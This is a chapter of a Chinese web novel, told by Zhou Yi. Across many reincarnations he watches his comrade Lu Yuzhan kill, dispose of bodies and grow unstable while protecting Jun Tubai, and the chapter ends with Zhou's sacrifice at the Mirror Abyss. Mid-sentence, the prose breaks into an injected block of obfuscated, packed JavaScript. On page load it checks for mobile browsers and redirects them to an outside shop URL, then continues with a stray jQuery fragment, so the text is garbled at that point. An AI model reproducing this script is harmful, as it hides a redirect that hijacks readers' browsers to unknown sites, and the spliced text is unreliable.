我想一直做个哑巴。
那是第一世的第七天。
屠宰场的铁门在我身后关上时，我知道有些东西永远回不去了。
空气里有血腥味，很浓，但不是动物血的味道。人血有特殊的铁锈气，混着恐惧的酸味，闻过一次就忘不掉。陆予瞻站在房间中央，白衬衫袖口卷到手肘，露出的小臂线条流畅。太流畅了，不像刚做完那种事的人该有的样子。
他背对着我，正在洗手。水龙头开得很大，水花溅在水泥池壁上，发出空洞的回响。
“还剩多少？”我问，声音比想象中平静。
“一半。”陆予瞻没回头，继续搓着手，搓得很用力，指关节都泛白了，“你出去吧，剩下的我来。”
我没动。
房间里很安静，除了水声，就只有角落传来的……某种声音。我不想描述那是什么声音，但它在梦里缠了我一千多年。
“出去，周屹。”陆予瞻又说了一遍，这次语气里多了点别的东西。
我转身离开。我不是服从，我知道自己撑不住了。走出厂房的瞬间，傍晚的风吹过来，带着点垃圾场的腐臭味。我靠在墙上，开始吐。胃里什么都没有，吐出来的都是酸水，但停不下来。
吐到浑身发冷时，陆予瞻出来了。
他换了身衣服，干净的深色夹克，头发也重新梳过。如果不是指尖还残留着一点没洗掉的红，他看起来就像刚下班回家的普通职员。
“处理完了？”我问。
“嗯。”他点了支烟，没抽，就夹在指间看着它燃，“粉碎机开了一小时。够细了，蛊虫找不到可依附的完整组织。”
他说这话时语气平淡得像在说“晚饭吃过了”。烟灰积了一截，断裂，掉在地上。我盯着那点灰烬，突然想：如果人的骨灰也是这样的，君荼白火化时，是不是也这样轻飘飘的？
“回去吧。”陆予瞻把烟踩灭，“秦师傅和沈鉴在等。”
回去的路上我们都没说话。车窗外路灯一盏盏掠过，在陆予瞻脸上投下明明灭灭的光影。有那么一瞬间，我看见他侧脸线条绷得很紧，紧得像下一秒就要裂开。
但很快，他又恢复了那副平静的表情。
那一夜之后。
世界重置了，但记忆没重置。
第二世，我在君荼白的高中门口第一次“偶遇”他。十七岁，穿着校服，背着书包，耳朵里塞着耳机，低头走路时刘海会遮住眼睛。
他还活着。
这个认知让我眼眶发酸。我站在马路对面看了很久，直到有人拍我肩膀。
“看够了？”陆予瞻的声音在身后响起。
我浑身一僵。
他走到我旁边，也看向对面的少年。看了很久，然后轻声说：“这次要看好他。别让他再……”
他没说完，但我知道后面是什么。
从第二世的那天起，陆予瞻开始扮演一个“温和的前辈”。他在学校附近开了家咖啡馆，每天准时营业。君荼白周末会来打工，陆予瞻就以兼职的身份教他冲咖啡、做甜点，耐心得像个真正的温柔兄长。
只有我知道不是。
因为每次君荼白转身时，陆予瞻的眼神就会变。那种眼神我太熟悉了，第一世最后那七天里，他看名单上那些人的眼神。我觉得那不是恨，也不是愤怒，是某种更冷的东西，是手术刀在无影灯下的反光。
有一次，君荼白不小心打翻了咖啡壶，烫伤了手。陆予瞻第一时间冲过去处理伤口，动作轻柔，语气关切。但包扎时，我看见了他的右手在抖。
但只有我知道那不是担心的颤抖。是兴奋。
就像屠夫按住待宰的牲口，刀刃贴上喉咙前那一瞬间的、克制的兴奋。
包扎完，君荼白去后面休息。陆予瞻站在原地，看着自己那只刚刚触碰过君荼白皮肤的右手，看了很久。然后他抬头，发现我在看他。
我们四目相对。
他没说话，只是很轻地笑了笑。那个笑容让我后背发凉。
后来的轮回里，陆予瞻都在君荼白24岁之前的人生里做着可有可无的路人甲。直到君荼白24岁的那个雨夜。
小屿的灵魂在镜渊里，这是第三世时陆予瞻“不经意”告诉我的。
那天我们刚处理完一批基金会的外围人员。没杀人，只是打断了腿，确保他们不能再作恶。回去的路上，陆予瞻开着车，突然说：“周屹，我查到镜渊的一些资料。”
“嗯？”
“里面有个灵魂的波动频率，和你很像。”他顿了顿，“应该是血缘关系。是你弟弟吧？”
我没说话，握紧了拳头。
“放心，他现在是安全的。”陆予瞻的语气很轻松，“镜渊是个稳定的容器，只要没人去动它，里面的灵魂能一直保存下去。”
他在等我的反应。
我知道他在等什么。他在等我问“那如果有人要动镜渊呢”，然后他就可以顺理成章地说“所以我们要保护好它”。
他在用我弟弟做筹码。
从那天起，我多了一个必须服从陆予瞻的理由。不是战友情谊，不是共同目标，是赤裸裸的威胁。
不过很庆幸，后来我被下了禁声蛊。我终于不用发声了。
第四十七世，不知道什么原因，我们一直没有找到君荼白，那一世君荼白死得特别惨。
不过，那一次没有陈子轩了，基金会那次的拷问还是持续了三天，等我们找到君荼白时，已经不太能看出人形，但还活着，君荼白被我们紧急送去了医院。陆予瞻又回到仓库把所有人都赶出去，一个人在里面待了一整夜。
第二天他出来时，眼睛是红的。但我知道肯定不是因为哭。陆予瞻不会哭，至少我没见过，肯定是因为没睡，加上某种压抑到极致的情绪。
君荼白在医院活了三个月，那三个月里，基金会相关的十七个据点被血洗。没有活口，没有证据，连尸体都处理得很干净。
沈鉴吓坏了，跑来问我：“周屹，陆队他……我忘了告诉他了，不能太早杀了陈子轩，师傅说他和君荼白绑定了永生蛊，陈子轩必须先在这一世活着我们才能稳定地找到君荼白。”
“那就下次提前说。”我在手机里输了这样一段话，“做你该做的事，记录数据，分析情报。别的，不要问，不要看。”
沈鉴看着我，眼神里有恐惧，也有理解。他点了点头，没再说话。
我们都懂。
陆予瞻心里关着一头野兽。平时他用理智的锁链拴着它，用温和的面具盖着它。但每一次君荼白的死亡，都会让锁链松动一点。
我们不敢想象，如果有一天锁链完全断了，会怎样。
第一百三十世，君荼白差点发现了。
他恢复了一部分前世记忆，在梦里看见陆予瞻杀人的画面。不是这一世的陆予瞻，是更早的、还没学会完美伪装的那个陆予瞻。
醒来后他问我：“周屹，陆队他……是不是有时候不太对劲？”
我该怎么回答？
告诉他，你每死一次，陆予
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17052022|194818||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
瞻心里那头野兽就长大一点？告诉他，你现在看到的温柔都是假象，底下是快要溢出来的疯狂？告诉他，我和沈鉴每天都在害怕，怕他失控，怕他暴走，怕他最后连你一起毁掉？
我不能。
因为我知道后果。
君荼白的善良是刻在灵魂里的。如果他知道了真相，一定会想去“救”陆予瞻，想去安抚他，想用理解和包容去化解那些黑暗。
但那只会适得其反。
就像往滚烫的油锅里滴水，只会引发更剧烈的爆炸。
所以我撒谎了。我在手机里打字：“你想多了，陆队只是压力大。”
君荼白看着我，看了很久，然后轻声说：“周屹，你也不会对我撒谎的。”
我知道他看出来了。
看出来我在隐瞒，看出来我的恐惧，看出来这平静表面下的暗流汹涌。
但他没再追问。
也许他也怕。
怕知道真相后，不知道该如何面对。
第一百四十七世，镜渊门前。
陆予瞻把古籍“不小心”留在我能看到的地方时，我就知道他的计划了。
他想让我去死。
不是出于恶意。至少不全是，而是出于一种扭曲的“保护”。他觉得我是最合适的祭品：意志足够坚定，魂魄足够强大，而且有必须完成的执念（弟弟）。
更重要的是，他可能也觉得我累了。
我是一个见过他真面目的人。
是一个一定会在未来某天，把真相告诉君荼白的人。
我站在地下室门口，看着被困在那里的君荼白，看着阵图中燃烧的陆予瞻，看着用数据隐瞒一切的沈鉴。突然觉得很累。
一百四十七世，我一直在装。
装不知道陆予瞻的真面目，装不害怕，装自己能控制局面。我保护君荼白，既是因为任务，也是因为……如果君荼白死了，陆予瞻会变成什么样子，我不敢想。
但现在，我装不下去了。
陆予瞻已经不是我能控制的了。他的疯狂像不断上涨的潮水，而我只是岸边的沙堡，迟早会被淹没。
至于君荼白……
对不起。
我保护不了你了。
不是不愿意，是不能。
因为继续待在你身边，继续看着陆予瞻一天天逼近失控的边缘，变成一个非人类一样的怪物，我自己也会疯。
所以，我选择离开。
去镜渊，去那个关着我弟弟灵魂的地方。陪着他，永远睡在那里。
至少那里是安静的。
至少那里，不用再伪装，不用再恐惧，不用再每天担心身边的那个人会不会突然变成魔鬼。
阵法的金光吞没我时，我最后看了一眼君荼白。
我知道他的灵魂哭得很厉害，眼睛里全是绝望。
对不起。
但我真的，撑不住了。
一百四十七世的伪装，一百四十七世的恐惧，一百四十六次看着你在眼前死去却无能为力的自责……
太累了。
让我休息吧。
让我去一个，没有你们，没有基金会，没有死亡和轮回的世界。
哪怕那个世界，是永恒的囚笼。
但只要能和弟弟在一起，只要能在沉睡中忘记这一切……
就够了。
金光彻底吞没视野的瞬间，我听见自己轻声说：
“小屿，哥来了。”
“这次，我们都不走了。”